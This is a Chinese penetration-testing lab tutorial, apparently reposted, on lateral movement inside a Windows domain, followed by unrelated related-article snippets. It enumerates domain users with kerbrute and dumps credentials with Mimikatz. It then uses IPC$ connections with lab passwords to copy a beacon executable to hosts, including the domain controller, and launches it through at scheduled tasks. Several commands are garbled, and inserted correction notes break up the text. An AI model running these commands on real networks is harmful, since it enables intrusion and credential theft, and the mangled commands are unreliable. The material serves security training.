DAY178内网渗透之内网对抗:横向移动篇入口差异切换上线IPC管道ATSC任务Impacket套件UI插件

1.内网横向移动

1、横向移动篇-入口点分析-域内域外打点

2、横向移动篇-IPC利用-连接通讯&计划任务,

3、横向移动篇-IPC利用-命令模式&工具套件

1.1 横向移动入口知识点
收集到域内用户和凭据后,为后续利用各种协议密码喷射通讯上线提供条件,如果当前被控机在域内还是域外,收集方法会有所差异,具体看演示及讲解。
1.1.1、当前被控机处于域内还是域外
1.1.1.1 在域内
这里是演示在域内获取域内用户及凭据的方式,收集完各种凭据信息就可以为下面的IPC横向移动提供使用了

上线webadmin的域用户

域内普通用户抓取不到明文

权限提升

用system权限抓取明文

1.1.1.2不在域内,

不在域内想要收集更多的域内用户及凭据的方法,切换到域内用户 (提权或切换到域内用户),条件:获取到域内用户及凭据

权限提升到system权限可以和域内用户通讯

Ad权限的

Sys权限的

切换为god\webadmin上线

需要正确的账号密码

进程被占用了

1.1.1.2.3kerbrute枚举用户

域内用户枚

举,https://github.com/ropnop/kerbrute,kerbrute_windows_amd64.exe userenum --dc ip -d 域名 字典文件,可以看到在administrator权限下是不能执行收集用户的命令的,这里可以使用kerbrute来代替进行枚举,这是在域外没有提权成功,也没有切换用户,但是还想知道域用户信息就使用这种方法。

注:上述文字中,"1.1.1.2.3"可能是一个错误的编号或者格式,根据上下文,它可能是不小心被包含在内的,真正的信息从"kerbrute枚举用户"开始。同时,"也没有切换用户"前的逗号可能是一个输入错误,应为句号或者其他合适的标点符号。但在这里,为了保持原文的格式和内容,我没有进行更改。

kerbrute_windows_amd64.exe userenum --dc 192.168.3.21 -d god.org user.txt

1.1.2、当前凭据为明文密码还是HASH,Minikatz。

当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码,可通过修改注册表的方式进行抓取,但需重启后重新登录时才能抓取。这是2012机器抓取密码的结果。

1.2横向移动凭据知识点

,上面收集完各种凭据信息就是为了横向移动的时候使用的,IPC域内移动测试:,IPC(InternetProcessConnection)是共享"命名管道"的资源,它是一个用于进程间通信的开放式命名管道,通过提供一个可信的用户,和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账,码,使用139、445端口。,1.2.1IPC横向移动步骤:,1.建立IPC链接到目标主机,2.拷贝要执行的命令脚本到目标主机,3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本,4,删除IPC链接,1.2.2建立IPC失败的原因,

(1)目标系统不是NT或以上的操作系统,

(2)对方没有打开IPC共享,

(3)对方未开启139、445端口,或者被防火墙屏蔽,

(4)输出命令、账号密码有错误,1.2.3使用IPC横向攻击3.32,这里是开启的IPC的地方

1.2.3.1 IPC利用命令

netuseserver\ipc"password"/user:计算机名\username # 工作组
net use \lserver\ipc,"password" /user:域名\username #域内 dir \\xx.xx.xx.xx\c\ #查看文件列表
copy \xx.xx.xx.xx\C\1.bat 1.bat #下载文件

copy 1.bat \\xx.xx.xx.xx\C # 复制文件(注意:此命令中目标路径似乎有误,应为目录而非文件,可能是想表达将1.bat复制到对方的C共享目录)netusexx.xx.xx.xx\C\ /del # 删除IPC连接(注意:原命令中的“1.bat”应为误写,已更正为“/del”)
net view xx.xx.xx.xx #查看对方共享

请注意,上述命令中的IP地址(xx.xx.xx.xx)、用户名(username)、密码(password)、计算机名和域名均为示例,实际使用时需要替换为真实的信息。同时,执行这些命令需要具备相应的权限,否则可能会失败。另外,复制文件命令中的目标路径已做更正说明。

1.2.3.2域内用户权限测试

webadmin权限,讲课错误补充:(讲解见后面单独录的视频),

如果是域内用户权限想要建立本地用户的IPC连接的话就需要加上本地的计算机名,

net use 1\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver(administrator,

如果是域内用户权限想要建立域用户的的IPC连接的话就需要加上域名,

net use 1\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin,

如果使用下面的这条命令的话就会理解为登录域里的administrator而不是登录本地的administrator用户,

net use \192.168.3.32\ipc$ "admin!@#45" /user:\administrator,

1.2.3.3域外用户权限测试

administrator权限,

如果是域外用户想要建立本地IPC连接的话,

net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator

//登录本机administrator用户,

net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator

//登录sqlserver机器的administrator用户,

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin

//登录god域的administrator用户,

1.2.4目标3.32主机上线配置,

可以先使用之前得到shell,通过文件浏览的方式上传到目标主机3.32上一个木马

1.2.4.1正向shell上线

:beacon_bind_tcp->beacon.exe,connect 192.168.3.32 4444,新建一个监听器

shell net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administraotr

shell copy 4444.exe \\192.168.3.32\c$

上线DC域控

net use \\192.168.3.21\ipc$ "Admin12345" /user:God\administrator

shell copy 4444.exe \\192.168.3.21\c$

防火墙放行139

高级共享开启

net use \\192.168.3.21\ipc$ "Admin12345" /user:God\administrator

建立连接

at命令

1.2.4.1.1计划任务配合,[at]&[schtasks]计划任务配合,1、at<Windows2012,copy beacon.exe 1\192.168.3.21\c$,#拷贝执行文件到目标机器,

at \\192.168.3.21 15:9 c:\4444.exe,#添加计划任务

shell at \\192.168.3.21 15:9 c:\4444.exe

 connect 192.168.3.21 4444

DC抓取明文

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/pingmian/65612.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

宠物行业的出路:在爱与陪伴中寻找增长新机遇

在当下的消费市场中&#xff0c;如果说有什么领域能够逆势而上&#xff0c;宠物行业无疑是一个亮点。当人们越来越注重生活品质和精神寄托时&#xff0c;宠物成为了许多人的重要伴侣。它们不仅仅是家庭的一员&#xff0c;更是情感的寄托和生活的调剂。然而&#xff0c;随着行业…

MySQL数据库——索引结构之B+树

本文先介绍数据结构中树的演化过程&#xff0c;之后介绍为什么MySQL数据库选择了B树作为索引结构。 文章目录 树的演化为什么其他树结构不行&#xff1f;为什么不使用二叉查找树&#xff08;BST&#xff09;&#xff1f;为什么不使用平衡二叉树&#xff08;AVL树&#xff09;&a…

大模型—Ollama 结构化输出

Ollama 结构化输出 Ollama现在支持结构化输出,使得可以按照由JSON模式定义的特定格式来约束模型的输出。Ollama的Python和JavaScript库已经更新,以支持结构化输出。 结构化输出的用例包括: 从文档中解析数据从图像中提取数据结构化所有语言模型响应比JSON模式更可靠和一致开…

欧拉计划 Project Euler 35 题解

欧拉计划 Problem 35 题解 题干思路code暴力筛法rotate函数使用语法示例代码 题干 思路 一个很自然的思路就是暴力找&#xff0c;遍历一百万之内的所有数&#xff0c;也可以先把一百万以内所有的素数筛出来然后从中取选。这里我使用的是暴力算法。 code 暴力 #include <…

JVM常见排查问题的命令及可视化工具

前置&#xff1a; RMI协议&#xff1a;java的一个远程调用协议&#xff0c;在不同的JVM之间可以进行接口的调用&#xff0c;但数据不安全&#xff0c;且仅限java&#xff1b; 一、常见命令及用法 1、jps&#xff1a;与Linux的ps命令有点类似&#xff0c;查看系统中在运行的J…

pytorch基础之注解的使用--003

Title 1.学习目标2.定义3.使用步骤4.结果 1.学习目标 针对源码中出现一些注解的问题&#xff0c;这里专门写一篇文章进行讲解。包括如何自定义注解&#xff0c;以及注意事项&#xff0c;相信JAVA中很多朋友业写过&#xff0c;但是今天写的是Python哦。。。 2.定义 在 Python…

C#编写的金鱼趣味小应用 - 开源研究系列文章

今天逛网&#xff0c;在GitHub中文网上发现一个源码&#xff0c;里面有这个金鱼小应用&#xff0c;于是就下载下来&#xff0c;根据自己的C#架构模板进行了更改&#xff0c;最终形成了这个例子。 1、 项目目录&#xff1b; 2、 源码介绍&#xff1b; 1) 初始化&#xff1b; 将样…

高效搭建Nacos:实现微服务的服务注册与配置中心

一、关于Nacos 1.1 简介 Nacos&#xff08;Dynamic Naming and Configuration Service&#xff09;是阿里巴巴开源的一款动态服务发现、配置管理和服务管理平台。它旨在帮助开发者更轻松地构建、部署和管理分布式系统&#xff0c;特别是在微服务架构中。Nacos 提供了简单易用…

112、Qt MSVC编译Qtxlsx

先参考103、QT搭建Excel表环境-使用Qtxlsx库文档&#xff0c;下载xlsx源码以及安装perl环境 并配置VS2019和perl环境变量 Qtxlsx库源码下载&#xff1a;https://github.com/dbzhang800/QtXlsxWriter 解压至非中文路径下 打开Qt自带的MSVC 2019命令框进入文件夹并运行命令生成…

频域滤波为什么使用psf2otf函数?

MATLAB中circshift函数是psf2otf函数的核心&#xff0c;在MATLAB中circshift函数的原理分析——psf2otf函数的核心直观解释了为什么需要循环移位。 MATLAB提出了psf2otf函数&#xff0c;先做循环移位&#xff0c;再计算离散傅里叶变换。如果有空域的卷积核&#xff0c;通过这个…

使用pyproject.toml文件管理 HuggingFace Transformers 项目配置

使用 pyproject.toml 文件管理 HuggingFace Transformers 项目配置——详细解析与实践 Source&#xff1a;https://github.com/huggingface/transformers 一、前言 在开发与维护大型 Python 项目时&#xff0c;统一的项目配置和工具管理变得尤为重要。HuggingFace 的 Transf…

PySide6 SQLite3 做的 电脑组装报价系统

一、数据库结构说明 1. 配件类别表 (component_categories) 字段名类型说明约束category_idINTEGER类别IDPRIMARY KEY, AUTOINCREMENTcategory_nameTEXT类别名称NOT NULL, UNIQUEdescriptionTEXT类别描述 2. 配件表 (components) 字段名类型说明约束component_idINTEGER配件…

Android 部分操作(待补充

新建的线性布局.xml文件&#xff0c;文件名是 linearlayout.xml&#xff0c;根元素设置LinearLayout&#xff1b; 对于线性布局&#xff0c;调整第一个元素相对于顶部的位置&#xff0c;通过属性 layout_marginTop 设置后调整第一个元素的位置&#xff0c;后边的元素会依次向…

Android笔试面试题AI答之Android基础(7)

Android入门请看《Android应用开发项目式教程》&#xff0c;视频、源码、答疑&#xff0c;手把手教 文章目录 1.Android开发如何提高App的兼容性&#xff1f;**1. 支持多版本 Android 系统****2. 适配不同屏幕尺寸和分辨率****3. 处理不同硬件配置****4. 适配不同语言和地区**…

CSS学习记录21

CSS 工具提示 通过CSS 创建工具提示&#xff08;Tooltip)。 当用户将鼠标指针移动到元素上时&#xff0c;工具提示通常用于提供关于某内容的额外信息&#xff1a; <style> /* Tooltip 容器 */ .tooltip {position: relative;display: inline-block;border-bottom: 1px …

2025经典的软件测试面试题(答案+文档)

&#x1f345; 点击文末小卡片&#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 以下是软件测试相关的面试题及答案&#xff0c;希望对各位能有帮助&#xff01; 1、测试分为哪几个阶段? 一般来说分为5个阶段&#xff1a;单元测试、集成测试…

021-spring-springmvc

比较重要的部分 比较重要的部分 比较重要的部分 关于组件的部分 这里以 RequestMappingHandlerMapping 为例子 默认的3个组件是&#xff1a; org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping org.springframework.web.servlet.mvc.method.annotation.Requ…

rocketmq5源码系列--(二)--生产者发送消息

这是broker源码系列第一篇。还是和往常一样&#xff0c;建议copy到本地阅读 broker是基于netty的 rocketmq队列分物理队列和逻辑队列&#xff0c;物理队列只有一个而逻辑队列有很多个 rocketmq 物理队列&#xff0c;一个物理队列对应一个文件&#xff0c;一个物理队列可以对…

【每日学点鸿蒙知识】RichText展示问题、slider组件内置间距、WebView性能优化、AVSession错误

1、HarmonyOS RichText 展示问题&#xff1f; build() {Column() {Row({space:10}) {Column() {RichText( this.item.title ?? "" ).width("100%").height(80)Text(this.item.desc ?? "").fontSize(12).fontColor(0x9e9e9e)}.margin({left…

【C语言】指针大小排列

从键盘输入3个整数&#xff0c;要求定义3个指针变量p1,p2,p3&#xff0c;使p1指向3个数的最大者&#xff0c;p2 指向次大者&#xff0c;p3指向最小者&#xff0c;然后按由小到大的次序输出3个数。 #include <stdio.h> void func(int* p1, int* p2, int* p3) {if (*p1 <…